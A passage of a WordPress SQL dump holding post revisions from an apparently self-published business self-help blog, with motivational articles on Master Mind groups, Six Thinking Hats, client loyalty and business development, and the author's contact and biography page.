#ff6600;"><strong>at all times, there must be honesty, trust, respect, authenticity, integrity and cooperation in equal measure among all members of the alliance</strong></span>.\r\n<h2><span style="color: #808080;">The important idea behind the Master Mind is that you begin to surround yourself with people you respect and admire, and in whose success you are equally invested. </span></h2>\r\nOf course things will change. Along the way your circumstances may require you amend the members of your group. This is perfectly fine. Just as it is possible, other members may withdraw themselves from your group for their own reasons.  As you grow, you’ll find yourself scaling up your Master Mind Alliance to keep pace with your business.\r\n\r\nAs you begin to recruit your members, don’t be discouraged if you’re turned down by people you would love to have in your group. Afterall, the only people you really want are the people who really want to participate with you. Be clear and honest about your mission, and what’s in it for them in exchange for their contribution.  Keep yourself in the positive frame of mind that attracts the very brightest members to help you accomplish your mission.\r\n\r\n<strong>If you have a group in place, please share what makes your Master Mind group an effective tool for all concerned.</strong>', 'How to multiply your brain!', 0, '', 'inherit', 'open', 'open', '', '725-revision-8', '', '', '2010-07-15 08:00:24', '2010-07-15 15:00:24', '', 725, 'http://www.whitehotcenter.com/2010/07/15/725-revision-8/', 0, 'revision', '', 0),
(994, 2, '2010-04-24 15:20:20', '2010-04-24 22:20:20', '<h2><img class="alignleft size-full wp-image-715" title="obstacle" src="http://whc.fbdev.org/wp-content/uploads/2010/04/obstacle.gif" alt="obstacle" width="187" height="274" />Let’s be honest–nobody likes banging their head against the wall. Knowing you are making progress toward a worthy goal is in itself an important motivator to keep you in the game, in spite of whatever paralyzing complexities are facing you.  Sometimes obstacles and adversity can be completely overwhelming.</h2>\r\nMany times, it’s easy to feel that the ball you are rolling up the hill can, at any moment, roll back over you. Every entrepreneur experiences the challenge of getting through, over, under and around obstacles and adversities that stand between where you are and where you want to be.\r\n\r\nSometimes it’s useful to step back from the friction and resistance and remember that complexities are inherent in the process of creation.  Entrepreneurs know obstacles and adversity come with the territory. Anything moving in the universe experiences friction.  Growing your business is no exception. Many entrepreneurs (myself included) are dealing with some form of challenge right now.  In my view, this is good news!\r\n\r\nEvery phase of growth and expansion (personally and professionally) is accompanied by an equal measure of resistance and complexity. It’s the familiar feeling of frustration you experience when you can’t quite get yourself over the wall to that next level of bigger clients, more creative and rewarding work, and of course, more money and personal freedom.  The truth is obstacles and adversity are necessary elements for your growth and  success. Challenges are in fact the raw material necessary to mold your desire for greater achievement. When you feel yourself hitting the wall, remember this:\r\n\r\n<strong>Obstacles and adversities are master teachers.</strong>\r\nIt is my belief that everything and everyone in your life right now is there for the sole purpose of teaching you what you need to know to move you up to the next level of growth. Use your challenges to shift your thinking, experiment, play with new and different ideas. In times of challenge, it’s best to leave conventional wisdom and your preconceived beliefs behind and open up to new strategies and tactics.\r\n\r\n<strong>Obstacles and adversities are rocket fuel.</strong>\r\nTurn the energy of fear, lack, limitation and uncertainty into the high velocity fuel you will need to bust through the gravity of your current circumstances. There is no growth in business without risk. Embrace risk like a lover! There’s fire and passion involved when your ass is on the line. If it were too easy, you would quickly be bored and the game of life would be far less interesting.  Resistance is necessary for building strength of character. In the face of every adversity, you must believe there’s no stopping you!\r\n\r\n<strong>Obstacles and adversities define the boundaries of your comfort zone.</strong>\r\nLeaving what you know and are comfortable with is absolutely necessary for your growth and advancement. When you experience obstacles, you are experiencing the borders of your own comfort and safety. Busting free into the unknown only expands your capabilities and experience. Of course this takes balls (courage)! My advice is never get too comfortable–it’ll put you to sleep!\r\n\r\n<strong>Obstacles and adversities are opportunities to create new value.</strong>\r\nAs an entrepreneur, your sole purpose is to create new value for your clients. Challenges in your own business growth may be the perfect thing for you to start thinking bigger with forward-thinking ideas about how to serve others with greater effectiveness. Remember, you’re in business to serve the success of others first. Think about how your current challenges can turn into opportunities for you to expand your value to others, and competition-proof your business.\r\n<h2><span style="color: #808080;">Every entrepreneur experiences setbacks on the road to achieving their business goals. Don’t judge yourself too harshly when the challenges seem too unmanageable. Remember that you’re on the frontier of a new level of experience. You’re simply developing the strength, knowledge and wisdom required of you to play the bigger game your growth will require. Above all, your attitude toward the challenges in your business will have more to do with transforming your circumstances than your all your knowledge, skill and talent.</span></h2>\r\n<strong> What challenges do you face in your business right now that could hold the key to your growth and success? Give it some thought!</strong>\r\n\r\nPS: I wrote another <a href="http://whc.fbdev.org/2007/09/25/hitting-a-brick-wall/" target="_blank">post</a> on this subject you might find interesting.', 'Obstacles and Adversity: Raw materials for business and life success.', 0, '', 'inherit', 'open', 'open', '', '714-revision-9', '', '', '2010-04-24 15:20:20', '2010-04-24 22:20:20', '', 714, 'http://www.whitehotcenter.com/2010/04/24/714-revision-9/', 0, 'revision', '', 0),
(995, 2, '2010-03-11 10:06:26', '2010-03-11 17:06:26', '<img class="alignleft size-full wp-image-692" title="sing" src="http://whc.fbdev.org/wp-content/uploads/2010/03/sing.gif" alt="sing" width="460" height="340" />\r\n<h2>One of the manifesto principals here on the WhiteHotCenter states– to thine own self be true, no excuses and no exceptions. When you are growing your business and stating your value proposition to prospective clients, it can be tempting to adopt the popular point of view. To remain true to yourself, your vision, your ideas, you have to sing in your own voice.</h2>\r\nWhen you find yourself in new and unfamiliar territory, it takes some experimentation to find your way around the new space you are occupying... you have to learn the language of the new land you find yourself in... finding your voice so to speak... the one that is authentic and true to your forward thinking vision. And just like a singing voice, it requires development and practice to express it through your continuous growth phases.\r\n\r\nYour “voice” is part visual – expressed through your personal physical presence, your brand identity and in the manner and design of your physical surroundings.\r\n\r\nYour “voice” is part verbal- how you talk to yourself, the language you use with others to express who you are in the world and how you can serve their success.\r\n\r\nFinding your voice or the mojo to clearly and confidently express your value proposition to clients you seek to serve takes some time to discover, develop and put into practice. Here are a few suggestions to help you experiment with finding your voice in the new territory your growth places you in:\r\n\r\n<strong>Relax</strong>\r\nThere’s no need to stress about it. Be yourself. I know it sounds trite and cliché, but it’s easy to loose sight of the fact that you have unique gifts, talents and capabilities to share. When you worry and stress about the manner in which you present your ideas to the world, you block yourself off from clarity and confidence. When your mind is relaxed and you are in an inspired state, you’ll naturally express yourself in a manner that people will instantly connect with. Try it.<strong></strong>\r\n\r\n<strong>Maintain an open mind.</strong>\r\nAn open mind eliminates a closed future.  Whatever actions you take, nature will provide you with the feedback necessary to move in the right directions­– if you keep an open mind and pay attention to the signals. When you are at the beginning of any growth phase, you might be tempted to think in terms of the generally accepted or status quo. This limits your scope of opportunities. Keep yourself open to suggestions, coincidences and even random thoughts, but never follow the herd.\r\n\r\n<strong>Play with ideas.</strong>\r\nSeemingly, many people enter a growth phase with a pre-conceived notion about how things ought to be.  My suggestion is you allow yourself to think like a kid and play with your ideas.  Don’t work on your ideas play with them. Out of the innocence of your playful inclinations, your truest nature and authentic voice will begin emerge. You’ll recognize it instantly when you become aware of your experience of ease, joy and the limitless nature of your unique talents and capabilities.<strong></strong>\r\n\r\n<strong>Focus on what matters to you.</strong>\r\nWhatever you focus on expands in your life. That’s why it is critical you remain focused on what matters to you! Say no to the anything that distracts you from what really matters to you. This is difficult at times simply because many people believe they have to please others first. Believe me, you’ll never discover your voice pleasing others.\r\n<h2><span style="color: #808080;">Your voice is your higher nature expressing itself through your commitment to follow your passions, living your truth, and trusting in the process of doing so. You will be far more effective, experience your greatest success when you sing your own song in your own voice.</span></h2>', 'Sing In Your Own Voice', 0, '', 'inherit', 'open', 'open', '', '691-revision-7', '', '', '2010-03-11 10:06:26', '2010-03-11 17:06:26', '', 691, 'http://www.whitehotcenter.com/2010/03/11/691-revision-7/', 0, 'revision', '', 0),
(996, 2, '2010-02-18 18:54:12', '2010-02-19 01:54:12', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif"><img class="alignnone size-full wp-image-674" title="sixhats" src="http://whc.fbdev.org/wp-content/uploads/2010/02/sixhats.gif" alt="sixhats" width="458" height="253" /></a><span style="color: #ff6600;">Collaboration is required component for innovation. Thinking about challenges and opportunities to grow your business from different points of view is absolutely necessary. <em>“Six Thinking Hats”</em> developed by <a onclick="pageTracker._trackPageview(''/outgoing/www.edwarddebono.com/Default.php?referer='');" href="http://www.edwarddebono.com/Default.php" target="_self"><em>Edward de Bono</em></a>, is a powerful tool for masterminding a problem or opportunity. For those who may not know, de Bono is regarded by many to be the leading global authority in the field of creative thinking and the direct teaching of thinking as a skill.</span></h2>\r\nI use the Thinking Hats technique at PULL. It ''s a useful tool to open us up when we are seeking to validate ideas with our clients. When diverse people are all thinking in the same room at the same time, there can be tension and a tendency to go with the strongest voices in the room. Six Thinking Hats is a powerful tool because it inspires transparent and inclusive parallel thinking. Next time you have a problem solving session with yourself or with a group of masterminds, try using the Six Thinking Hats to improve the quality of your thinking and decision-making that will follow. Each “Thinking Hat” is a metaphor for a different style of thinking:\r\n\r\n<strong>White Hat:</strong>\r\nWith this thinking hat, you focus on the raw information at hand. It’s about the facts and nothing but the facts. Look at the data and see what you can learn from it. Look for gaps in your knowledge, and either try to fill them or take account of them. This is where you analyze past trends, and try to extrapolate from historical data.\r\n\r\n<strong>Red Hat:</strong>\r\nWearing the red hat, you look at the decision using intuition, gut reaction, and emotion. What are you afraid of? Also try to think about how other people will react emotionally, and try to understand the intuitive responses of people who do not fully know your reasoning.\r\n\r\n<strong>Black Hat:</strong>\r\nBlack hat thinking is cautious and defensive. It’s our common tendency to be the devil’s advocate, pointing out the flaws and why an idea won’t work. This is important because it highlights the weak points in a plan or course of action. It allows you to eliminate them, alter your approach, or prepare contingency plans to counter problems that arise down the road. Black Hat thinking helps you spot fatal flaws and risks before you embark on a course of action. Black Hat thinking is one of the real benefits of this technique, as many people tend to think too positively and under-estimate complexity, leaving them under-prepared for difficulties.\r\n\r\n<strong>Yellow Hat:</strong>\r\nThe yellow hat helps you to think positively. It is the optimistic viewpoint that helps you to see all the benefits of an idea and the value in it, and spot the opportunities that arise from it. Yellow Hat thinking helps you to keep going when everything looks dark and difficult.\r\n\r\n<strong>Green Hat:</strong>\r\nThe Green Hat stands for creativity. This is where you can develop unbridled creative solutions to a problem. It is a freewheeling way of thinking, in which there is little criticism of ideas. Green hat thinking is about possibility and potential with no limits and no logic.\r\n\r\n<strong>Blue Hat:</strong>\r\nThe Blue Hat stands for process control. This is the hat worn by whom ever is facilitating your discussion. When ideas are running dry, or there a blocks in your process, the Blue Hat referees and can decide to move the conversation into any other thinking hat mode that keeps the thinking alive and moving.\r\n\r\n<strong>Try this technique out. We have a good deal of fun every time we use it. Share your results with us here.\r\n</strong>', 'Six Thinking Hats', 0, '', 'inherit', 'open', 'open', '', '673-revision-10', '', '', '2010-02-18 18:54:12', '2010-02-19 01:54:12', '', 673, 'http://www.whitehotcenter.com/2010/02/18/673-revision-10/', 0, 'revision', '', 0);
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(998, 2, '2009-08-26 10:39:33', '2009-08-26 17:39:33', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event.\r\nIt will always involve change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves many competitors, much of what you currently provide may be perceived by clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\r\n<h2><strong>We adapt by copying others.</strong></h2>\r\nSocial observer and author, <a href="http://herd.typepad.com" target="_blank"><strong>Mark Earls</strong></a> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2><strong>It’s easier and less risky to copy what works than to invent more value.</strong></h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of change is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients, cash flow) seems stronger than creating greater value (inventing new stuff that serves people).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2><strong>Your business must stand for something.</strong></h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is just another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\r\n\r\n<strong> </strong>\r\n<h2><strong>Don’t confuse value creation with copying success.</strong></h2>\r\nThe key to your business growth (bigger fees, better clients) is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune in working with you to others. Copy that formula and you can change the world.\r\n\r\n<span style="color: #808080;">Authors Note: This post is an edited version of a post I created for the <a href="http://www.pullinc.com" target="_blank"><em>Influence by Design</em></a> blog. In that article, the focus was on building identity strategies that are highly differentiated from the clutter in our current marketplace. Marketers are always copying the success of others as a proven method to sell more stuff. In the long run, most marketing just adds to the clutter.\r\n</span>', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-34', '', '', '2009-08-26 10:39:33', '2009-08-26 17:39:33', '', 588, 'http://www.whitehotcenter.com/2009/08/26/588-revision-34/', 0, 'revision', '', 0),
(999, 2, '2009-08-10 14:32:24', '2009-08-10 21:32:24', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/loyalty.gif"><img class="alignnone size-full wp-image-578" title="loyalty" src="http://whc.fbdev.org/wp-content/uploads/2009/08/loyalty.gif" alt="loyalty" width="450" height="329" /></a><span style="color: #ff6600;">The best way to competition-proof your creative business is to create loyal clients. Loyal clients are the ones who believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else.  The marketplace will reward those who earn and deserve, never because they desire or need.  Do you <em>deserve</em> your client’s loyalty?</span></h2>\r\nThe word “deserve” comes from the latin “de serve” which simply means <em>to serve</em>. You only deserve any result you desire from your client when you are serving them with commitment to <em>create more value for them</em> then you are receiving <em>in cash from them</em>. Think about this.  This is an important principle in creating raving loyal clients. This does not mean that you work for less money. On the contrary, it means that whatever the amount of money you are paid, you always provide more “use value” than the cash value received.\r\n\r\nIf you’re in a creative business selling your talent, knowledge, and expertise you might ask yourself, do I deserve the fees I charge? Am I fee-worthy?  Do my clients perceive my value to them as greater than the money they are paying me?  Providing deliverables aligned to your client’s expectation is not enough to deserve their on-going loyalty. All your competitors can provide acceptable deliverables.  Doing what is expected is not enough to differentiate you from the other alternatives available to your client. You can provide more. Here are several suggested ideas for you to think about:\r\n\r\n<strong>Loyalty in client relationships is never static.</strong>\r\n\r\nThink of creating loyalty the same way you would think of physical exercise.  The more your focus is on finding ways to serve your clients the stronger the relationship will be. It’s an on-going process. Nothing strengthens without effort. Stop exercising and things eventually will begin to go downhill fast. Everyone has heard the expression “familiarity breeds contempt”.  This basically means the longer a relationship exists, the more things begin to be taken for granted. The more a client feels you are in “relationship entitlement mode”, the more open to options they will become.  Let that not be you!\r\n\r\n<strong>It’s all about them–never you.</strong>\r\n\r\nIt’s easy to get caught up in the method, details and minutia of doing the work you’re hired to do. It’s even easier to let your thinking go somewhere in the direction of “they can’t get this kind of quality, price or  delivery from anyone else. We’re doing a big favor working for them”.  Obviously that kind of shortsightedness will never create a loyal client who will sing your praises to others.  To deserve loyal clients, your focus will always be on your client’s desire, never yours.  If you take care of creating value for your clients, your value to them increases accordingly. Do the unexpected, go the extra mile!  Do this with grace and humility. You’re in business to create success for others first. Everything after that will take care of itself.\r\n\r\n<strong>Be trustworthy.</strong>\r\n\r\nThis may sound like an over simplification, however when a client shares something of a personal nature with you, they are essentially saying “I trust you”.  In order for trust to be deserved, demonstrate your sensitivity to “moments of truth” when your client shares something of personal importance. Your best client relationships, the ones that are of greatest value to the growth of your business, are the ones where you are trusted.  Respond with your thoughtful consideration and respect. Over time, you are building your relationship chemistry– the core elements that comprise the essence of how valuable you are to them, and their loyalty to you. It begins with trust.\r\n\r\n<strong>Be everything to a few people.</strong>\r\n\r\nNot all your clients will be of the kind where loyalty can grow. Some client relationships are transactional. You really can’t be all things to all clients, it’s absurd to even try. Be selective by cultivating deeper relationships with those clients who empower you, respect your contributions, and refer you to others in their circle of influence.\r\n\r\nTake some time to think about the factors that have comprised your most successful client relationships. When you have defined those attributes, look into your current list of clients. How many are fulfilling that criteria right now?  If there are clients who are no longer a good fit, respectfully disassociate from them. Establish the “rules of engagement” for your new clients early in the game. This creates immediate respect not only from clients, but for yourself. After all, if you don’t demonstrate a respectful value for yourself, why should anyone else?\r\n\r\n<strong>Scarcity creates abundance. </strong>\r\n\r\nAs you continually evolve and grow in your business, you will no doubt be reminded of one of the fundamental principles in economics–supply and demand.  The supply is your “availability”. Clients  provide the “demand” by requesting your expertise. Your supply of time is finite. Excess demand creates competition among your clients for your time. By limiting your availability (supply) you are in effect creating more demand for your time and perceived value.  In doing this, you differentiate between clients who deserve more of your time and the ones who want it. People typically want more of what they can’t have.  Say no to those clients who demand more of your time than they contribute to your growth. By employing the scarcity principle you create more supply and increase demand from more empowering and deserving clients.\r\n\r\nAs you can see there is great deal of difference between deserving success and desiring it. You can only get your business to the next level when you develop the conscious mental habits that vibrate to the universe that you are enlightened and ready to receive the loyal clients you inherently deserve. You can take the first step.\r\n\r\n<strong>What are you doing right now that is creating the loyal clients you deserve? </strong>\r\n\r\nPlease share your thoughts in the comments box below.', 'Do you deserve your client''s loyalty?', 0, '', 'inherit', 'open', 'open', '', '577-revision-8', '', '', '2009-08-10 14:32:24', '2009-08-10 21:32:24', '', 577, 'http://www.whitehotcenter.com/2009/08/10/577-revision-8/', 0, 'revision', '', 0),
(1000, 2, '2010-05-05 18:20:36', '2010-05-06 01:20:36', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><span style="color: #ff6600;">One of the things I am most proud of is the fact that I live and work in a manner and place that I love. For years, I would daydream about living and working in a beautiful, natural environment. Here it is. Nothing is more comforting to my soul than living in an orange grove, and I''m delighted to share the view with you here.\r\n</span></h2>\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\n1015 West El Roblar Drive\r\nOjai, California 93203 USA\r\nmobile 805 886 5902\r\n</strong>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\n<span style="color: #ff6600;"><strong>I am available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some of my talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having me on the bill at one of your events, just send me an email with your specifics, we can go from there.</strong></span>\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\n<strong><span style="color: #ff6600;">I also advise corporations, organizations, individual creative entrepreneurs, design firm principals, solo professionals and small business owners on marketing, positioning, branding, business and professional development. The depth and duration of these engagements varies depending on your needs and my availability. As a start, try arranging for a “Power Session” with me where we can riff on your current concerns, big ideas and visions you have for your future.  Click the Power Session banner to the right. Remember, the nature of my consulting work is weighted to the inner game of business and life success. If you need help sifting through quantitative or qualitative data, or motivating people to fill out time sheets, I’m not the guy. On the other hand, if you have ideas for your bigger, better future you’d like to gain more clarity and conviction on, just send me a note via my email link and I’ll promptly reply.</span></strong>\r\n\r\n<span style="color: #333333;"><strong>Biography:</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>With over 25 years of experience as an entrepreneur, designer, creative  director, writer, and brand marketing consultant, Thomson’s passion and  specialized expertise leads his corporate clients clients through the process of developing  innovation strategies that influence better outcomes in their marketing,  positioning, communications and customer experience. His clients have  included: Acura Automobiles, Brunswick, Coleman, Food Lion, Haworth,  Hewlett-Packard, Herman Miller, QAD, Steelcase, and Wolverine Worldwide  Footwear Brands.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>Transforming his experience as a successful marketing practitioner and  entrepreneur, Thomson also guides and inspires creative entrepreneurs, small  business leaders and solo professionals with  insight, inspiration and  education to realize their full potential for greater business and life  success, He is the author and curator of the popular personal and  professional development blog:  www.whitehotcenter.com</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>He is a contributing writer to a publications and blogs, and facilitates  educational seminars on personal effectiveness, lifestyle design and  entrepreneurial success.  Thomson lives and works in  the middle of a small orange grove in Ojai, California.</strong></span>', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2010-05-05 18:20:36', '2010-05-06 01:20:36', '', 143, 'http://www.whitehotcenter.com/2010/05/05/143-revision-24/', 0, 'revision', '', 0),
(1001, 2, '2010-07-29 21:12:26', '2010-07-30 04:12:26', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><span style="color: #ff6600;">One of the things I am most proud of is the fact that I live and work in a manner and place that I love. For years, I would daydream about living and working in a beautiful, natural environment. Here it is. Nothing is more comforting to my soul than living in an orange grove, and I''m delighted to share the view with you here.\r\n</span></h2>\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\n1015 West El Roblar Drive\r\nOjai, California 93203 USA\r\nmobile 805 886 5902\r\n</strong>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\n<span style="color: #ff6600;"><strong>I am available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some of my talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having me on the bill at one of your events, just send me an email with your specifics, we can go from there.</strong></span>\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\n<strong><span style="color: #ff6600;">I also advise corporations, organizations, individual creative entrepreneurs, design firm principals, solo professionals and small business owners on marketing, positioning, branding, business and professional development. The depth and duration of these engagements varies depending on your needs and my availability. As a start, try arranging for a “Power Session” with me where we can riff on your current concerns, big ideas and visions you have for your future.  Click the Power Session banner to the right. Remember, the nature of my consulting work is weighted to the inner game of business and life success. If you need help sifting through quantitative or qualitative data, or motivating people to fill out time sheets, I’m not the guy. On the other hand, if you have ideas for your bigger, better future you’d like to gain more clarity and conviction on, just send me a note via my email link and I’ll promptly reply.</span></strong>\r\n\r\n<span style="color: #ff8c00;"><strong><span style="color: #000000;">What I do:</span>\r\ninspire, guide and create IDEAS that help people gain clarity and confidence to pursue their best opportunities to create more value.  I do this in two ways.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong>For Organizations:\r\nAs Managing Partner of PULL Brand Innovation, along with a team of other skilled brand strategists and creative people, I work with consumer products marketers in the early stages of product and brand innovation.  I specialize in advising marketers how best to define a compelling and authentic value proposition they can feel confident will help them grow the value of their brands. Along with my colleagues , I do this through our collective expertise in consumer insight, market research, brand strategy, corporate / brand identity design and marketing communications.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong>For Entrepreneurs and Solo Professionals:\r\nI am the founder, writer and voice of www.whitehotcenter.com , a personal and professional development blog serving creative entrepreneurs who seek insight and inspiration to do more of what truly matters to them, while at the same time enjoying the fruits of a financially successful enterprise.  I do this by writing, podcasting, and speaking about ideas on personal/professional development, lifestyle design, value creation and demand generation. Additionally, I coach, mentor and consult with successful people who need a place to jam on bringing their best ideas into form.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong>Naturally, in the course of more direct conversation on how I might be able to help you accomplish want you desire, I/we provide the information necessary for you to feel good about the decision to do business with us/me.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><span style="color: #ff8c00;">I am a  contributing writer to publications and blogs, and facilitate  educational seminars on personal effectiveness, lifestyle design and  entrepreneurial success.  I happily live in  the middle of a small orange grove in Ojai, California. Amen.</span>\r\n</strong></span>', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2010-07-29 21:12:26', '2010-07-30 04:12:26', '', 143, 'http://www.whitehotcenter.com/2010/07/29/143-revision-25/', 0, 'revision', '', 0),
(1002, 2, '2010-08-02 16:00:46', '2010-08-02 23:00:46', '<img class="alignnone size-full wp-image-1003" title="bizdev" src="http://whc.fbdev.org/wp-content/uploads/2010/08/bizdev.gif" alt="" width="434" height="193" />\r\n<h2 style="text-align: left;">Many early stage entrepreneurs and solo professionals struggle  with the discipline to maintain effective new business strategies  relying instead on referrals. There is a better  way to build your new business chops.</h2>\r\n<div>\r\n\r\nHow do you feel about the effectiveness  of your business development initiatives?  We all recognize new clients  are of vital importance, however many solo professionals only do  business development activities when they’re not engaged with the  demands of their paying clients. If you want your business to grow, your  business development strategies and tactics must be working for you all  the time regardless of how busy you are with your current clients.  Unlike referrals, sustained business development activities will create  predictability in your business. Business development is an imperative  you cannot ignore if you are to have a thriving business.\r\n\r\n<strong>Business development is not selling.</strong>\r\n\r\nSelling is about creating and presenting your solution to a specific  problem the client-to be has shared with you after much conversation.   Business development involves a lengthy process of turning suspects into  prospects. The objective of your business development activities is to  have a full pipeline or funnel of qualified prospects that may do  business with you in the future– usually six months to a year down the  road.\r\n\r\nYour business development strategy must enable you to discover,  attract, and qualify only those prospects who are a good fit for you,  value your expertise, and will pay a premium fee for the solution you  provide.  To accomplish this, you must first articulate a specialized  value proposition around your expertise, and position your value  proposition in the minds of prospects in a manner that separates and  distinguishes you from your competitors.\r\n\r\n<strong>Be a value-creator not an order-taker.</strong>\r\n\r\nTo increase your influence in the buying cycle, you must center your  business development strategy on building a  “value-creator”  positioning. The reality we all face today is clients have abundant  choice. The basic economic principle of supply and demand governs the  price of literally every product or service. When your prospective  clients have abundant choice, you will most likely have little or no  power in the buying cycle.  Clients will naturally be focused on  obtaining your services at the lowest price possible.\r\n\r\nValue-creators are highly paid specialists–known for their expertise  in either a professional discipline (PR, web developer, writer,  designer, etc.) and / or a specific market vertical, (apparel, packaged  goods, legal, health care, etc.)  Value-creators build their business and  reputations on deep and narrow expertise. On the other hand,  order-takers are usually generalists who try to be all things to all  people. They are in abundant supply and always compete on price.\r\n<h2><span style="color: #808080;">When you position your expertise as a specialized value-creator, your  business development activities will automatically be more focused and  productive. </span></h2>\r\nYou will more easily be able to identify your prospects and  build your database accordingly.  Also, your ability to attract  clients-to-be will not be limited by your location because clients who  require your expertise can come from everywhere. This expands your  potential for new business opportunities exponentially!\r\n\r\n<strong>Turning an interruption into a conversation.</strong>\r\n\r\nOnce you’ve made the decisions about your specialized positioning,  and your positioning is properly reflected and stated on your website  and other marketing material, you will be building your database of  suspects and reaching out to them in some fashion. Business development  means you will have to interrupt people.  Of course no one likes to be  interrupted. That’s why you must understand that the business  development process is not about creating business next week.  Business  development involves a long process of turning an interruption into a  conversation.  There are two types of outbound business development  communication to your suspect list– passive and direct outreach.  Both  are necessary to align your efforts to the buying cycle of your  clients-to-be.\r\n\r\n<em>Passive Outreach</em>\r\nPassive outreach is a business  development process focused on creating awareness to your business. This  may sound like a colossal understatement, but how you create awareness  has an important impact on your ability to turn an interruption into a  conversation.  The best method for accomplishing this is to continuously  share your expertise and knowledge with your targeted tribe of  clients-to-be.  Here are some items to consider in building passive  awareness:\r\n<ul>\r\n	<li>create      a blog and write about what you know will be valuable  and useful to your      target audience. Make sure people can easily  subscribe to receive your      blog articles directly.</li>\r\n	<li>Submit      articles and white papers to other bloggers and offline publications in      your area of expertise.</li>\r\n	<li>Develop      a long-term strategy for using social media, and begin  to participate in      the online dialogue that is exploding right now  in every professional      discipline.</li>\r\n	<li>Become      a featured speaker or panelist at business conferences  and events centered      on your particular area of expertise.</li>\r\n	<li>Use      email marketing to distribute your content, share news and  information to      your target audience of suspect clients-to-be. Make  sure you comply with      all the protocols and regulations surrounding  spam.</li>\r\n</ul>\r\n<h2><span style="color: #808080;">These passive outreach activities should <em>never</em> involve  direct solicitations for business. At this level, your focus should be  about adding goodwill to the collective dialogue your clients-to-be are  interested in.  This builds trust, which in turn builds credibility to  your claim of expertise.</span></h2>\r\nDone properly, your passive outreach business  development efforts will create opportunities for you to respond to  inbound inquiries from prospective clients you are seeking your  specialized expertise. I like to think of passive outreach as chumming  the water to attract the fish.\r\n\r\n<em>Direct Outreach</em>\r\nYou might automatically associate direct  outreach as cold calling. I never cold call and you shouldn’t either.  (Unless you enjoy rejection). Direct outreach is also about creating  awareness to your expertise, but the methods are more highly targeted  and involve some form of incentive for your client-to-be to reward you  with the time of day. The advantage of direct outreach initiatives is  the potential for discovering more near-term opportunity that you can  effectively qualify as a good fit for your expertise.  Of course, there  are many tactics you can utilize, but here is the process I believe is  most effective in early stage direct outreach:\r\n<ul>\r\n	<li>Send a      snail mail introduction letter to a prospect. The letter  must be brief (no      longer than your little finger).       In the  letter you       “invite” them to visit your blog/site so they can  access your      knowledge sharing, become of aware of your specialized  expertise and learn      how other companies have benefited from their  association with you.      Enclose your business card with the letter.</li>\r\n	<li>In      those instances when you have <em>real knowledge</em> that a  client-to-be is currently seeking a solution to a specific       problem, you may outline in your introduction letter /email your       capabilities and experience in providing a solution.  You may attach  appropriate case      studies as proof of your expertise.</li>\r\n	<li>Follow      up your introduction with a phone call to qualify 